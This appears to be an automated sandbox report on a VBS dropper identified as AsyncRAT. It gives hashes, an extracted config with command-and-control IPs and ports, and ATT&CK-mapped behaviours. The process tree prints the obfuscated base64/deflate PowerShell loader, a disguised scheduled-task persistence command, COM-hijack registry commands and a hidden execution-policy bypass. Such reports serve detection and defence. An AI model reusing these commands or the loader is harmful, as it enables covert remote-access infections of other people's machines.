Analysis
- max time kernel
122s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
13/09/2024, 00:00
Static task
static1
Behavioral task
behavioral1
Sample
#9948-8465.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
#9948-8465.vbs
Resource
win10v2004-20240802-en
General
- Target #9948-8465.vbs
- Size 8KB
- Sample240913-aafgastbnc
- SHA256 da6181e22c0c7230058044b36945666bd5cb6eef577eed273f217b166335e1b4
- MD5 8afc18095b72efb67ffd0d9e00480a09
- SHA1 9e6f923a724eb96fde01d3598f62395f044b8f32
- SHA512 7ab3c056fca8c91fbe7621f59f157aa1eff47d23c0f42976c99420a893ed43ab0a4ce49adaa527fd7707e68941d54de1517f3392c624444eb839873c48ee5cfb
- SSDEEP 48:eYAZXoxm7byApD0G15Fjw7gr/f8BHQQRhUQKADSSot3n7Av9rL2X4JhAPAyUkvf:eYAZtvJDT2U8JQQJS5t3n7Y9rL2Ofdsf
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
asyncrat
-
AWS | 3Losh
-
Sasa
-
88.119.175.153:6606
-
88.119.175.153:7707
-
88.119.175.153:8808
-
88.119.175.153:6666
-
88.119.175.153:5555
-
AsyncMutex_Ass#$Butt$
-
delay
5
-
install
false
-
install_folder
%AppData%
Signatures
- Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/2296-49-0x0000000004D20000-0x0000000004D36000-memory.dmp family_asyncrat - Blocklisted process makes network request 1 IoCs
flow pid Process 18 3652 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1400 powershell.exe 1356 powershell.exe 3652 powershell.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation WScript.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
resource yara_rule behavioral2/memory/1400-46-0x000001F7BE790000-0x000001F7BE79E000-memory.dmp agile_net - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe - Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\ reg.exe Key created \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\RedroCrypt.dll" reg.exe - Modifies registry key 1 TTPs 2 IoCs
pid Process 4744 reg.exe 3484 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3112 schtasks.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1356 powershell.exe 1356 powershell.exe 3652 powershell.exe 3652 powershell.exe 1400 powershell.exe 1400 powershell.exe 2296 RegSvcs.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1356 powershell.exe Token: SeDebugPrivilege 3652 powershell.exe Token: SeDebugPrivilege 1400 powershell.exe Token: SeDebugPrivilege 2296 RegSvcs.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2296 RegSvcs.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4608 wrote to memory of 1356 4608 WScript.exe 91 PID 4608 wrote to memory of 1356 4608 WScript.exe 91 PID 1356 wrote to memory of 3652 1356 powershell.exe 93 PID 1356 wrote to memory of 3652 1356 powershell.exe 93 PID 3652 wrote to memory of 3112 3652 powershell.exe 97 PID 3652 wrote to memory of 3112 3652 powershell.exe 97 PID 2916 wrote to memory of 2752 2916 WScript.exe 101 PID 2916 wrote to memory of 2752 2916 WScript.exe 101 PID 2752 wrote to memory of 4744 2752 cmd.exe 103 PID 2752 wrote to memory of 4744 2752 cmd.exe 103 PID 2752 wrote to memory of 3484 2752 cmd.exe 104 PID 2752 wrote to memory of 3484 2752 cmd.exe 104 PID 2752 wrote to memory of 3388 2752 cmd.exe 105 PID 2752 wrote to memory of 3388 2752 cmd.exe 105 PID 3388 wrote to memory of 1400 3388 cmd.exe 106 PID 3388 wrote to memory of 1400 3388 cmd.exe 106 PID 1400 wrote to memory of 2296 1400 powershell.exe 107 PID 1400 wrote to memory of 2296 1400 powershell.exe 107 PID 1400 wrote to memory of 2296 1400 powershell.exe 107 PID 1400 wrote to memory of 2296 1400 powershell.exe 107 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\#9948-8465.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $bwrdjyvaostknlmeqfzc = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('SUV4KCBOZVctb2JKZUNUICBpTy5DT21wcmVTU2lvTi5kZWZsYVRFc1RSZUFtKFtpby5NZU1vUllzdFJFYU1dW2NvTlZlUlRdOjpmcm9tYkFzZTY0c1RyaU5HKCAnelZwYmJ1c2dFTjBLUXYxSUZLa2JpS0oySDFGVzB1dTlseGhzQTJZZVo0RHEzbzllWW9hWk0wOWc3SThmdC81Ym5IdmNuUHU0T0hkMTdoNUdhV0tiUEo0czFmeTY5RmJPNzdOTFdIalpaeDc3NkZhc3Y5NXpjWUh1a2pGN1pPTmJKVGd0WEtVVUNFaEpFVnd1b2VDZkVWOFBQU2d0U0VCdkFRbzgxOHJRa1pSYVdjRkxhd0ZzdVdQaVF2LzBOLzkyK3ZmUFcxLy9UT2hmWVcxNC92M21mdzFFR1I4ZkdLKy9GNzlUUmVZNTNlTFh1VHlJL0d1RjVEKytEa0ZSV0h6KzhrVmd4YUR6L3ZPeUFReENTaWpSOTJIWjYxRENQd3U1eStiQlhmck9xMFN4S3AxbW8vUGZuS0tFMTZyeVZ3azZZM1ppdFM0NWducDVSQ3NscGcwVkNuQnQ4UnV2a2tQU0wzQzQ1OVplemhaSXc2V0lDb0t3K3VFTXEvSTQxOUVySkJ6RE1oa3F1QUpaTkVPbnRVb3hOYmRTU3lYV3M2eDFzczVrU05sY0h3NUd4V2F5dHkwaWVCWDB3T0lmSk5vQXFXQVVhdzFSeW1tdHlMRTJHVUxvQUZod25rT3VieUZ1eE1Tc1dCTHFVNVdJYkJHZzgzdU1LbURjMGRyWVFDanJLY1lkMUFzSVJiYXV5OVViTTlVbUVsQkVieUlTRzVpWG5ENkt6TWtzb3M3dE1mc011TlVLT3NMeDJUU0V5Z3hTSkZLWk82b3NWMFVaY2tSdk1JdmIxWW1KT1IrYVE4VHFiWXlkYWRaWXhSa01TUysxZmxJUUt6S0p5MGIxc1ZjQ21qamIyU1YxTUpjREFkNjBBZ2trUTQxQXNnU2E4YTZuTVhNcktaQ3lya3hXTlRwNng0RDNHUFEwWmIvZkhSbllhVEVKaitBNEpWelJ2eWNZQ2tJbzEzWnN2UVVTMUtOQlpxaDBmWllyZ3Bxc0xkQmx0U2tDTzlXQzNrTmlIV1dOSG1IQUZzRC9lSXlCU3BWd2tCbllGK1J5RzVHbkRnUE9IUEdQeFgxVmZvSmxDcjI5bXE1RHdQVVRPbFVtbzBIb0FTOWhlUTEzeUtUNjJRWXNiVEpRN0hQMi9xTVdmRk1KbWFBZTlybGlqQm1HblBwRVlBb0szSHpWYzNYdzk3NjZ5QVRLUFZRc3RpeHRlS291b3kyKzdxTm5aN2xXR0pkR3o5MllwM1JRdDZFbUJFai9HS29PMUVVem1YMktjelY3Y2ZGTDB3T3gzcmIydjZQdUZzSmhqVVBDRGRYMHRvM2NGbjNEU2lUZW85QmVCbVJxTURKUHcvRnBXRzJRc0c5VVlkclpZRGgwTnlhd1dHblEwQml6KzgyOGFzOWdMTlpKYWpqb2pVSEhPN1RtVUcra0tSZHRwbkt6MSt4UnVpVkM1b290OTBob0hmcFUwSmxMWENQSGxTNzBUYnRqSEUwNTNJazNXZnd1blAzM0Y2ZG1RSVRoWXdqREtZTjhFUTNjVUhneTVHc0dxTHAydnR1aWgyQnYxL2cxREZNd29KQ0VOK0FCdEpSanVVMXI1NGVHTlBKdWNYWkRxdmVJWGVYZWxPK1RxcUtLWXVySXFmRnVFR1JOK2t4UkVmeGlLSFM4RmVBcUE4V0R3V24vMG9MVkZJQkNJNEdLZVIweTRMVVE0cS9yUS9EemNTVDBaNjF2d3M4MGtYTmZZN0dpbi9KTmJMbTY0NVd6VUFKS0JyWnZiaXJsbU9tNEhqeFRBN1YyUkcreGtBMGZ0ay96OW9aZ1RaTkMxOHlPVGNmenNQZDlJRlc0endFQkhsL2dFbWp0TE1MSlZITDdkNUFGQU42NThPQ3plUFlMJyApLCBbSU8uQ29NcHJlU1Npb04uQ09NcHJFc3Npb25tT0RFXTo6RGVDT01wUkVzUyl8JSB7TmVXLW9iSmVDVCAgc3lTVEVtLklPLnNUUkVhTXJlYWRFUigkXyxbVEVYVC5FTkNPZGluR106OmFTQ2lJKX0gfCV7JF8uUmVhRFRPRW5EKCl9ICk='));powershell $bwrdjyvaostknlmeqfzc2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "IEx( NeW-obJeCT iO.COmpreSSioN.deflaTEsTReAm([io.MeMoRYstREaM][coNVeRT]::frombAse64sTriNG( 'zVpbbusgEN0KQv1IFKkbiKJ2H1FW0uu9lxhsA2YeZ4Dq3o9eYoaZM09g7I8ft/5bnHvcnPu4OHd17h5GaWKbPJ4s1fy69FbO77NLWHjZZx776Fasv95zcYHukjF7ZONbJTgtXKUUCEhJEVwuoeCfEV8PPSgtSEBvAQo818rQkZRaWcFLawFsuWPiQv/0N/92+vfPW1//TOhfYW14/v3mfw1EGR8fGK+/F79TReY53eLXuTyI/GuF5D++DkFRWHz+8kVgxaDz/vOyAQxCSijR92HZ61DCPwu5y+bBXfrOq0SxKp1mo/PfnKKE16ryVwk6Y3ZitS45gnp5RCslpg0VCnBt8RuvkkPSL3C459ZezhZIw6WICoKw+uEMq/I419ErJBzDMhkquAJZNEOntUoxNbdSSyXWs6x1ss5kSNlcHw5GxWayty0ieBX0wOIfJNoAqWAUaw1RymmtyLE2GULoAFhwnkOubyFuxMSsWBLqU5WIbBGg83uMKmDc0drYQCjrKcYd1AsIRbauy9UbM9UmElBEbyISG5iXnD6KzMksos7tMfsMuNUKOsLx2TSEygxSJFKZO6osV0UZckRvMIvb1YmJOR+aQ8TqbYydadZYxRkMSS+1flIQKzKJy0b1sVcCmjjb2SV1MJcDAd60AgkkQ41AsgSa8a6nMXMrKZCyrkxWNTp6x4D3GPQ0Zb/fHRnYaTEJj+A4JVzRvycYCkIo13ZsvQUS1KNBZqh0fZYrgpqsLdBltSkCO9WC3kNiHWWNHmHAFsD/eIyBSpVwkBnYF+RyG5GnDgPOHPGPxX1VfoJlCr29mq5DwPUTOlUmo0HoAS9heQ13yKT62QYsbTJQ7HP2/qMWfFMJmaAe9rlijBmGnPpEYAoK3HzVc3Xw9766yATKPVQstixteKouoy2+7qNnZ7lWGJdGz92Yp3RQt6EmBEj/GKoO1EUzmX2KczV7cfFL0wOx3rb2v6PuFsJhjUPCDdX0to3cFn3DSiTeo9BeBmRqMDJPw/FpWG2QsG9UYdrZYDh0NyawWGnQ0Biz+828as9gLNZJajjojUHHO7TmUG+kKRdtpnKz1+xRuiVC5oot90hoHfpU0JlLXCPHlS70TbtjHE053Ik3WfwunP33F6dmQIThYwjDKYN8EQ3cUHgy5GsGqLp2vtuih2Bv1/g1DFMwoJCEN+ABtJRjuU1r54eGNPJucXZDqveIXeXelO+TqqKKYurIqfFuEGRN+kxREfxiKHS8FeAqA8WDwWn/0oLVFIBCI4GKeR0y4LUQ4q/rQ/DzcST0Z61vws80kXNfY7Gin/JNbLm645WzUAJKBrZvbirlmOm4HjxTA7V2RG+xkA0ftk/z9oZgTZNC18yOTcfzsPd9IFW4zwEBHl/gEmjtLMLJVHL7d5AFAN658OCzePYL' ), [IO.CoMpreSSioN.COMprEssionmODE]::DeCOMpREsS)|% {NeW-obJeCT sySTEm.IO.sTREaMreadER($_,[TEXT.ENCOdinG]::aSCiI)} |%{$_.ReaDTOEnD()} )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs4⤵
- Scheduled Task/Job: Scheduled Task
PID:3112
-
-
-
-
C:\Windows\System32\WScript.exeC:\Windows\System32\WScript.exe "C:\ProgramData\Cloud\cloud.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\system32\reg.exeREG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f3⤵
- Modifies registry class
- Modifies registry key
PID:4744
-
-
C:\Windows\system32\reg.exeREG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f3⤵
- Modifies registry class
- Modifies registry key
PID:3484
-
-
C:\Windows\system32\cmd.execmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"3⤵
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2296
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\Cloud\cloud.bat
- Size 1KB
- SHA256 e209153dda335fec8fa021f1022c4f9fe041cb527c2b9068eb9ec911429f20a3
- MD5 b8bdfc7895feaaacba3711d17be6778a
- SHA1 fa0bc12827b348fe540a13683897deb207650df7
- SHA512 ea91a8262eacba0bcd6f692b5141124d7fedc98507ad6ab71ade565b347fe328780221f6972cc5c98a9471662474bf8c93e1219d241ff5f90579f7f8e8dd5156
- MD5 SHA1 SHA512
- Path C:\ProgramData\Cloud\cloud.ps1
- Size 666KB
- SHA256 ca0713d77d71359ff692385a2bb92e0b22fe7f0db9a356fd4ffbbfeb34911584
- MD5 81fe8fe5684ecf16d936250bb94c852a
- SHA1 a0a18d8d75e12546baa0b7dfd0dfb02dbefbac40
- SHA512 d0a35efecc947e2e5d99d3f58a494693d5ebd48635f749f87f341e0a1ce965b7a413754a0316c973eebac4c8e8a12315a916adbc4350a0819132debde1ea7013
- SSDEEP 6144:NQZ+XpTNksQjjOdTW/slZ28gMTkUH5z6LFoffUl0839IFx10ch/BzAXdoDuR7fY:vhr4y2QTkeF6pqbh10dDY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Cloud\cloud.vbs
- Size 4KB
- SHA256 b098e1055dc3dd3156236ee515e5dfbefd746d84578197f2309968625b831724
- MD5 7079642a22a106d0ed6f227cc70899ae
- SHA1 60dd57af3518c0ea4104379ad233b5982b231283
- SHA512 ca1e9e201785fa611520ee2585208fb0684fd338ff1ab1d515523e03677ac4ac1ca5353fdc17bcba4c6c39aa37f9be182c5f7187b8dd9520c8604a001bd69f80
- SSDEEP 96:eWAWAI3s6JD7gqfPEwU552zY7gcITcowOJbXW0DTTtOT+:vfPdU55GYscDFZ0DTTtOT+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 e198883dc78657f44bae11e2de5f56bc0f41eb6440f73cd3d65c30878b858734
- MD5 8d089c855358969266a3275f0ec4f955
- SHA1 5ce30b598cfa0c2008541b1b549673401971dc3d
- SHA512 f240dcfc7adcca3140cdc2f8f387ac2053a7fd6e5e474a4008cf38d03506f99e361a5d6e970480ab1155ad00531b9d9095ed2a502ad09e7e442cdf7bcf932320
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
- MD5 5caad758326454b5788ec35315c4c304
- SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
- SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1wwsshon.z32.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512